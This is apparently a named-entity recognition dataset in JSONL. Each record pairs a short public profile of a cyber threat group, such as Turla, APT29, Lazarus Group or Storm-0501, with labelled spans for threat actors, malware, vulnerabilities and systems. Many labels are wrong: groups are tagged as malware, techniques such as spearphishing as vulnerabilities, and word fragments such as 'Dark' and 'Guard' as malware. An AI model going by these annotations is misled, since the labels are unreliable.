+{"text": "Turla is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB).  They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. Turla is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as Uroburos.", "spans": {"THREAT_ACTOR: Turla": [[0, 5], [306, 311]], "VULNERABILITY: spearphishing": [[354, 367]], "VULNERABILITY: watering hole": [[336, 349]], "MALWARE: Uroburos": [[430, 438]]}, "info": {"source": "apt_reports", "name": "Turla"}}
+{"text": "Storm-0501 is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. Storm-0501 has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, BlackCat, Hunters International, LockBit 3.0, and Embargo ransomware.", "spans": {"THREAT_ACTOR: Storm-0501": [[0, 10], [135, 145]], "MALWARE: Sabbath": [[213, 220]], "MALWARE: Embargo": [[346, 353]], "MALWARE: Hive": [[290, 294]], "MALWARE: BlackCat": [[296, 304]], "MALWARE: Hunters International": [[306, 327]], "MALWARE: LockBit 3.0": [[329, 340]]}, "info": {"source": "apt_reports", "name": "Storm-0501"}}
+{"text": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.", "spans": {"THREAT_ACTOR: Poseidon Group": [[0, 14], [216, 230]], "MALWARE: Poseidon": [[0, 8], [216, 224]]}, "info": {"source": "apt_reports", "name": "Poseidon Group"}}
+{"text": "TA505 is a cyber criminal group that has been active since at least 2014. TA505 is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving Clop.", "spans": {"THREAT_ACTOR: TA505": [[0, 5], [74, 79]], "MALWARE: Clop": [[213, 217]]}, "info": {"source": "apt_reports", "name": "TA505"}}
+{"text": "BITTER is a suspected South Asian cyber espionage threat group that has been active since at least 2013. BITTER has targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.", "spans": {"MALWARE: BITTER": [[0, 6], [105, 111]]}, "info": {"source": "apt_reports", "name": "BITTER"}}
+{"text": "DarkVishnya is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.", "spans": {"THREAT_ACTOR: DarkVishnya": [[0, 11]]}, "info": {"source": "apt_reports", "name": "DarkVishnya"}}
+{"text": "RedCurl is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks. RedCurl is allegedly a Russian-speaking threat actor. The group’s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.", "spans": {"MALWARE: RedCurl": [[0, 7], [267, 274]], "VULNERABILITY: spearphishing": [[365, 378]]}, "info": {"source": "apt_reports", "name": "RedCurl"}}
+{"text": "APT-C-23 is a threat group that has been active since at least 2014. APT-C-23 has primarily focused its operations on the Middle East, including Israeli military assets. APT-C-23 has developed mobile spyware targeting Android and iOS devices since 2017.", "spans": {"MALWARE: APT-C-23": [[0, 8], [69, 77], [170, 178]], "SYSTEM: Android": [[218, 225]], "SYSTEM: iOS": [[230, 233]]}, "info": {"source": "apt_reports", "name": "APT-C-23"}}
+{"text": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.", "spans": {"THREAT_ACTOR: FIN5": [[0, 4]]}, "info": {"source": "apt_reports", "name": "FIN5"}}
+{"text": "Mofang is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.", "spans": {"MALWARE: Mofang": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Mofang"}}
+{"text": "Lotus Blossom is a long-standing threat group largely targeting various entities in Asia since at least 2009. In addition to government and related targets, Lotus Blossom has also targeted entities such as digital certificate issuers.", "spans": {"MALWARE: Lotus Blossom": [[0, 13], [157, 170]], "MALWARE: Lotus": [[0, 5], [157, 162]]}, "info": {"source": "apt_reports", "name": "Lotus Blossom"}}
+{"text": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.", "spans": {"THREAT_ACTOR: Stealth Falcon": [[0, 14]]}, "info": {"source": "apt_reports", "name": "Stealth Falcon"}}
+{"text": "APT29 is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR). They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. APT29 reportedly compromised the Democratic National Committee starting in the summer of 2015.\n\nIn April 2021, the US and UK governments attributed the SolarWinds Compromise to the SVR; public statements included citations to APT29, Cozy Bear, and The Dukes. Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.", "spans": {"THREAT_ACTOR: SolarWinds Compromise": [[398, 419]], "THREAT_ACTOR: UNC2452": [[581, 588]], "THREAT_ACTOR: APT29": [[0, 5], [246, 251], [472, 477]], "SYSTEM: SolarWinds": [[398, 408]], "MALWARE: Dark": [[617, 621]]}, "info": {"source": "apt_reports", "name": "APT29"}}
+{"text": "Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012.", "spans": {"THREAT_ACTOR: Dark Caracal": [[0, 12]], "MALWARE: Dark": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Dark Caracal"}}
+{"text": "Cinnamon Tempest is a China-based threat group that has been active since at least 2021 deploying multiple strains of ransomware based on the leaked Babuk source code. Cinnamon Tempest does not operate their ransomware on an affiliate model or purchase access but appears to act independently in all stages of the attack lifecycle. Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, Cinnamon Tempest may be motivated by intellectual property theft or cyberespionage rather than financial gain.", "spans": {"MALWARE: Cinnamon Tempest": [[0, 16], [168, 184], [470, 486]], "MALWARE: Babuk": [[149, 154]]}, "info": {"source": "apt_reports", "name": "Cinnamon Tempest"}}
+{"text": "Chimera is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.", "spans": {"MALWARE: Chimera": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Chimera"}}
+{"text": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.  Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).", "spans": {"THREAT_ACTOR: Cleaver": [[0, 7], [122, 129], [172, 179]]}, "info": {"source": "apt_reports", "name": "Cleaver"}}
+{"text": "Silent Librarian is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of  Silent Librarian are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).", "spans": {"THREAT_ACTOR: Silent Librarian": [[0, 16], [186, 202]], "MALWARE: Guard": [[390, 395]]}, "info": {"source": "apt_reports", "name": "Silent Librarian"}}
+{"text": "Medusa Group has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware’s core developers. Public sources have also referred to the group as “Spearwing” or “Medusa Actors.”   Medusa Group employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and threatening to publish stolen information if ransom demands are not met.  For initial access, Medusa Group has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally.", "spans": {"MALWARE: Medusa Group": [[0, 12], [369, 381], [713, 725]], "TOOL: Medusa": [[0, 6], [351, 357], [369, 375], [713, 719]], "VULNERABILITY: living-off-the-land": [[390, 409]], "VULNERABILITY: phishing": [[782, 790]]}, "info": {"source": "apt_reports", "name": "Medusa Group"}}
+{"text": "Charming Kitten is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Magic Hound, resulting in reporting that may not distinguish between the two groups' activities.", "spans": {"THREAT_ACTOR: Charming Kitten": [[0, 15], [297, 312]], "ORGANIZATION: Facebook": [[353, 361]], "MALWARE: Magic Hound": [[512, 523]]}, "info": {"source": "apt_reports", "name": "Charming Kitten"}}
+{"text": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.", "spans": {"MALWARE: BRONZE BUTLER": [[0, 13]]}, "info": {"source": "apt_reports", "name": "BRONZE BUTLER"}}
+{"text": "TA551 is a financially-motivated threat group that has been active since at least 2018.  The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns.", "spans": {"MALWARE: TA551": [[0, 5]]}, "info": {"source": "apt_reports", "name": "TA551"}}
+{"text": "TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.", "spans": {"THREAT_ACTOR: TEMP.Veles": [[0, 10]], "MALWARE: TRITON": [[123, 129]]}, "info": {"source": "apt_reports", "name": "TEMP.Veles"}}
+{"text": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.", "spans": {"MALWARE: Equation": [[0, 8]], "VULNERABILITY: zero-day": [[110, 118]]}, "info": {"source": "apt_reports", "name": "Equation"}}
+{"text": "BackdoorDiplomacy is a cyber espionage threat group that has been active since at least 2017. BackdoorDiplomacy has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.", "spans": {"THREAT_ACTOR: BackdoorDiplomacy": [[0, 17], [94, 111]]}, "info": {"source": "apt_reports", "name": "BackdoorDiplomacy"}}
+{"text": "Gelsemium is a cyberespionage group that has been active since at least 2014, targeting governmental institutions, electronics manufacturers, universities, and religious organizations in East Asia and the Middle East.", "spans": {"THREAT_ACTOR: Gelsemium": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Gelsemium"}}
+{"text": "Star Blizzard is a cyber espionage and influence group originating in Russia that has been active since at least 2019. Star Blizzard campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.", "spans": {"MALWARE: Star Blizzard": [[0, 13], [119, 132]], "VULNERABILITY: credential theft": [[228, 244]], "VULNERABILITY: phishing": [[215, 223]]}, "info": {"source": "apt_reports", "name": "Star Blizzard"}}
+{"text": "Darkhotel is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. Darkhotel has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.", "spans": {"MALWARE: Darkhotel": [[0, 9], [269, 278]], "VULNERABILITY: spearphishing": [[298, 311]]}, "info": {"source": "apt_reports", "name": "Darkhotel"}}
+{"text": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", "spans": {"MALWARE: Axiom": [[0, 5], [211, 216]], "MALWARE: Winnti Group": [[221, 233]]}, "info": {"source": "apt_reports", "name": "Axiom"}}
+{"text": "TA578 is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including Latrodectus, IcedID, and Bumblebee.", "spans": {"THREAT_ACTOR: TA578": [[0, 5]], "MALWARE: Latrodectus": [[138, 149]], "MALWARE: Bumblebee": [[163, 172]], "MALWARE: IcedID": [[151, 157]]}, "info": {"source": "apt_reports", "name": "TA578"}}
+{"text": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.  The intrusion into healthcare company Anthem has been attributed to Deep Panda.  This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther.  Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.  Some analysts track Deep Panda and APT19 as the same group, but it is unclear from open source information if the groups are the same.", "spans": {"MALWARE: Deep Panda": [[0, 10], [215, 225], [314, 324], [455, 465]], "THREAT_ACTOR: APT19": [[470, 475]], "THREAT_ACTOR: Shell Crew": [[256, 266]]}, "info": {"source": "apt_reports", "name": "Deep Panda"}}
+{"text": "Ember Bear is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155). Ember Bear has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas. Ember Bear conducted the WhisperGate destructive wiper attacks against Ukraine in early 2022. There is some confusion as to whether Ember Bear overlaps with another Russian-linked entity referred to as Saint Bear. At present available evidence strongly suggests these are distinct activities with different behavioral profiles.", "spans": {"MALWARE: Ember Bear": [[0, 10], [220, 230], [416, 426], [548, 558]], "MALWARE: Saint Bear": [[618, 628]], "MALWARE: WhisperGate": [[441, 452]]}, "info": {"source": "apt_reports", "name": "Ember Bear"}}
+{"text": "LazyScripter is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.", "spans": {"MALWARE: LazyScripter": [[0, 12]]}, "info": {"source": "apt_reports", "name": "LazyScripter"}}
+{"text": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.", "spans": {"THREAT_ACTOR: Dust Storm": [[0, 10]]}, "info": {"source": "apt_reports", "name": "Dust Storm"}}
+{"text": "Windshift is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.", "spans": {"MALWARE: Windshift": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Windshift"}}
+{"text": "Volatile Cedar is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. Volatile Cedar has been operating since 2012 and is motivated by political and ideological interests.", "spans": {"THREAT_ACTOR: Volatile Cedar": [[0, 14], [112, 126]]}, "info": {"source": "apt_reports", "name": "Volatile Cedar"}}
+{"text": "ToddyCat is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.", "spans": {"THREAT_ACTOR: ToddyCat": [[0, 8]]}, "info": {"source": "apt_reports", "name": "ToddyCat"}}
+{"text": "Whitefly is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.", "spans": {"THREAT_ACTOR: Whitefly": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Whitefly"}}
+{"text": "LuminousMoth is a Chinese-speaking cyber espionage group that has been active since at least October 2020. LuminousMoth has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between LuminousMoth and Mustang Panda based on similar targeting and TTPs, as well as network infrastructure overlaps.", "spans": {"MALWARE: LuminousMoth": [[0, 12], [107, 119], [337, 349]], "THREAT_ACTOR: Mustang Panda": [[354, 367]]}, "info": {"source": "apt_reports", "name": "LuminousMoth"}}
+{"text": "Agrius is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets. Public reporting has linked Agrius to Iran's Ministry of Intelligence and Security (MOIS).", "spans": {"MALWARE: Agrius": [[0, 6], [193, 199]]}, "info": {"source": "apt_reports", "name": "Agrius"}}
+{"text": "CostaRicto is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. CostaRicto's targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.", "spans": {"THREAT_ACTOR: CostaRicto": [[0, 10], [136, 146]]}, "info": {"source": "apt_reports", "name": "CostaRicto"}}
+{"text": "Water Galura are the operators of the Qilin Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for Qilin affilates recruited on Russian cybercrime forums. Water Galura have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.", "spans": {"MALWARE: Water Galura": [[0, 12], [222, 234]], "MALWARE: Qilin": [[38, 43], [166, 171]]}, "info": {"source": "apt_reports", "name": "Water Galura"}}
+{"text": "APT28 is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165. This group has been active since at least 2004.\n\nAPT28 reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. In 2018, the US indicted five GRU Unit 26165 officers associated with APT28 for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations. Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as Sandworm Team.", "spans": {"THREAT_ACTOR: Sandworm": [[925, 933]], "THREAT_ACTOR: APT28": [[0, 5], [222, 227], [510, 515]], "MALWARE: Sandworm Team": [[925, 938]]}, "info": {"source": "apt_reports", "name": "APT28"}}
+{"text": "Malteiro is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the Mispadu  banking trojan via a Malware-as-a-Service (MaaS) business model. Malteiro mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).", "spans": {"THREAT_ACTOR: Malteiro": [[0, 8], [245, 253]], "MALWARE: Mispadu": [[171, 178]]}, "info": {"source": "apt_reports", "name": "Malteiro"}}
+{"text": "Metador is a suspected cyber espionage group that was first reported in September 2022. Metador has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group Metador based on the \"I am meta\" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers.", "spans": {"THREAT_ACTOR: Metador": [[0, 7], [88, 95], [271, 278]]}, "info": {"source": "apt_reports", "name": "Metador"}}
+{"text": "APT42 is an Iranian-sponsored threat group that conducts cyber espionage and surveillance. The group primarily focuses on targets in the Middle East region, but has targeted a variety of industries and countries since at least 2015. APT42 starts cyber operations through spearphishing emails and/or the PINEFLOWER Android malware, then monitors and collects information from the compromised systems and devices. Finally, APT42 exfiltrates data using native features and open-source tools. \n\nAPT42 activities have been linked to Magic Hound by other commercial vendors. While there are behavior and software overlaps between Magic Hound and APT42, they appear to be distinct entities and are tracked as separate entities by their originating vendor.", "spans": {"THREAT_ACTOR: APT42": [[0, 5], [233, 238], [421, 426], [491, 496], [640, 645]], "SYSTEM: Android": [[314, 321]], "VULNERABILITY: spearphishing": [[271, 284]], "MALWARE: Magic Hound": [[528, 539], [624, 635]], "MALWARE: PINEFLOWER": [[303, 313]]}, "info": {"source": "apt_reports", "name": "APT42"}}
+{"text": "APT5 is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. APT5 has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.", "spans": {"THREAT_ACTOR: APT5": [[0, 4], [196, 200]], "VULNERABILITY: zero-day": [[354, 362]]}, "info": {"source": "apt_reports", "name": "APT5"}}
+{"text": "Fox Kitten is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. Fox Kitten has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.", "spans": {"THREAT_ACTOR: Fox Kitten": [[0, 10], [206, 216]]}, "info": {"source": "apt_reports", "name": "Fox Kitten"}}
+{"text": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).", "spans": {"THREAT_ACTOR: RTM": [[0, 3], [212, 215]]}, "info": {"source": "apt_reports", "name": "RTM"}}
+{"text": "APT12 is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.", "spans": {"THREAT_ACTOR: APT12": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT12"}}
+{"text": "APT-C-36 is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.", "spans": {"THREAT_ACTOR: APT-C-36": [[0, 8]]}, "info": {"source": "apt_reports", "name": "APT-C-36"}}
+{"text": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.", "spans": {"THREAT_ACTOR: Scarlet Mimic": [[0, 13], [282, 295]], "MALWARE: Putter Panda": [[300, 312]]}, "info": {"source": "apt_reports", "name": "Scarlet Mimic"}}
+{"text": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Some reporting suggests a number of other groups, including Axiom, APT17, and Ke3chang, are closely linked to Winnti Group.", "spans": {"MALWARE: Winnti Group": [[0, 12], [309, 321]], "THREAT_ACTOR: APT17": [[266, 271]], "MALWARE: Ke3chang": [[277, 285]], "MALWARE: Axiom": [[259, 264]]}, "info": {"source": "apt_reports", "name": "Winnti Group"}}
+{"text": "Tonto Team is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. Tonto Team has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).", "spans": {"THREAT_ACTOR: Tonto Team": [[0, 10], [273, 283]]}, "info": {"source": "apt_reports", "name": "Tonto Team"}}
+{"text": "GOLD SOUTHFIELD is a financially motivated threat group active since at least 2018 that operates the REvil Ransomware-as-a Service (RaaS). GOLD SOUTHFIELD provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, GOLD SOUTHFIELD started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.", "spans": {"THREAT_ACTOR: GOLD SOUTHFIELD": [[0, 15], [139, 154], [287, 302]], "MALWARE: REvil": [[101, 106]]}, "info": {"source": "apt_reports", "name": "GOLD SOUTHFIELD"}}
+{"text": "Lazarus Group is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB).   Lazarus Group has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.\n\nNorth Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.", "spans": {"THREAT_ACTOR: Lazarus Group": [[0, 13], [124, 137], [355, 368], [830, 843]], "MALWARE: Flame": [[429, 434]]}, "info": {"source": "apt_reports", "name": "Lazarus Group"}}
+{"text": "INC Ransom is a ransomware and data extortion threat group associated with the deployment of INC Ransomware that has been active since at least July 2023. INC Ransom  has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.", "spans": {"MALWARE: INC Ransom": [[0, 10], [155, 165]], "MALWARE: INC Ransomware": [[93, 107]]}, "info": {"source": "apt_reports", "name": "INC Ransom"}}
+{"text": "Earth Lusca is a suspected China-based cyber espionage group that has been active since at least April 2019. Earth Lusca has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some Earth Lusca operations may be financially motivated.\n\nEarth Lusca has used malware commonly used by other Chinese threat groups, including APT41 and the Winnti Group cluster, however security researchers assess Earth Lusca's techniques and infrastructure are separate.", "spans": {"THREAT_ACTOR: Earth Lusca": [[0, 11], [109, 120], [595, 606], [649, 660], [806, 817]], "THREAT_ACTOR: APT41": [[734, 739]], "MALWARE: Winnti Group": [[748, 760]]}, "info": {"source": "apt_reports", "name": "Earth Lusca"}}
+{"text": "FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.", "spans": {"MALWARE: FIN4": [[0, 4], [213, 217]]}, "info": {"source": "apt_reports", "name": "FIN4"}}
+{"text": "Silence is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.", "spans": {"MALWARE: Silence": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Silence"}}
+{"text": "Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015.", "spans": {"THREAT_ACTOR: Sowbug": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Sowbug"}}
+{"text": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.", "spans": {"MALWARE: Threat Group-1314": [[0, 17]]}, "info": {"source": "apt_reports", "name": "Threat Group-1314"}}
+{"text": "Thrip is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques.", "spans": {"THREAT_ACTOR: Thrip": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Thrip"}}
+{"text": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.", "spans": {"THREAT_ACTOR: APT16": [[0, 5]], "VULNERABILITY: spearphishing": [[54, 67]]}, "info": {"source": "apt_reports", "name": "APT16"}}
+{"text": "LAPSUS$ is cyber criminal threat group that has been active since at least mid-2021. LAPSUS$ specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.", "spans": {"MALWARE: LAPSUS$": [[0, 7], [85, 92]], "THREAT_ACTOR: LAPSUS": [[0, 6], [85, 91]]}, "info": {"source": "apt_reports", "name": "LAPSUS$"}}
+{"text": "BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks.   A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.", "spans": {"THREAT_ACTOR: BlackOasis": [[0, 10], [337, 347]], "THREAT_ACTOR: NEODYMIUM": [[289, 298]], "ORGANIZATION: Microsoft": [[276, 285]]}, "info": {"source": "apt_reports", "name": "BlackOasis"}}
+{"text": "UNC2452 is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion. Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. The group also compromised at least one think tank by late 2019.", "spans": {"THREAT_ACTOR: UNC2452": [[0, 7]], "SYSTEM: SolarWinds": [[85, 95]]}, "info": {"source": "apt_reports", "name": "UNC2452"}}
+{"text": "Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. Reporting indicates there may be links between Cobalt Group and both the malware Carbanak and the group Carbanak.", "spans": {"MALWARE: Cobalt Group": [[0, 12], [254, 266], [616, 628]], "THREAT_ACTOR: Cobalt": [[0, 6], [254, 260], [616, 622]], "MALWARE: Carbanak": [[650, 658], [673, 681]]}, "info": {"source": "apt_reports", "name": "Cobalt Group"}}
+{"text": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.", "spans": {"THREAT_ACTOR: CopyKittens": [[0, 11]]}, "info": {"source": "apt_reports", "name": "CopyKittens"}}
+{"text": "Wizard Spider is a Russia-based financially motivated threat group originally known for the creation and deployment of TrickBot since at least 2016. Wizard Spider possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.", "spans": {"MALWARE: Wizard Spider": [[0, 13], [149, 162]], "MALWARE: TrickBot": [[119, 127]]}, "info": {"source": "apt_reports", "name": "Wizard Spider"}}
